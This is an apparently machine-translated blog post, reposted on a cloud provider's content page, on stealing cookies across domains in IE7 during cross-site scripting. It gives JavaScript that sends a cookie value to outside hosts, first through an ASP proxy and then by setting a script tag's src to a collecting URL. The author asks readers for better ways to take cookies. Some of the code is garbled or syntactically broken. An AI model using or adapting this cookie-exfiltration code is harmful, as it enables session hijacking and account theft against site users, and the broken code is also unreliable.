IE7 the solution to using AJAX to steal cookies across domains _ajax related

Source: Internet
Author: User
After studying the whole afternoon, the first problem is that Ajax submits data across domains, which can be resolved using web proxies, http://192.168.8.108 on the a.htm code:
<script>
function Getxmlhttprequest () {
if (window. ActiveXObject) {
var iearr=["Msxml2.xmlhttp", "Microsoft.XMLHTTP"];
for (Var i=0;i<iearr.length;i++)
{
var xmlhttp= new ActiveXObject (Iearr[i]);
}
return XMLHTTP;
else if (window. XMLHttpRequest) {
return new XMLHttpRequest ();
}
}
var xmlhttp=getxmlhttprequest ();
Xmlhttp.open ("Get", "http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm", true);
Xmlhttp.send (NULL)

</script>

Where web.asp is an ASP agent.

This allows direct access to http://192.168.8.108/a.htm to send data successfully. But in the cross station, if we want to cross the 192.168.8.108 station, this certainly cannot let us put one web.asp on the top, therefore this method is not feasible.

In addition, other ie7.0 under the Cross station to steal cookies will generally use the IFRAME tag, in the absence of successful Ajax sent to the case, after the search found another way to cross the station, do not need to use an IFRAME to cross-domain submissions, code:

<script language= "Javascript" src= "id=" Get ">
</script>
<script language= "Javascript" >
<!--
function get (URL)
{
var obj = document.getElementById ("get");
obj.src = URL;
(Obj.readstatus = 200)
{
Eval (Alert ("OK"));
}
}
Get ("http://jb51.net/2.asp?cookie=12345678")

/*function query ()
{
Get ("http://jb51.net/web/1.img"); Here you can write code, like the OK in alert ("OK") into a variable, 1.img code is var ok= "123"
}
-->
*/

</script>

There are other better ways to get a welcome discussion of cookies that can be directly Ajax-IE7 in a domain
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.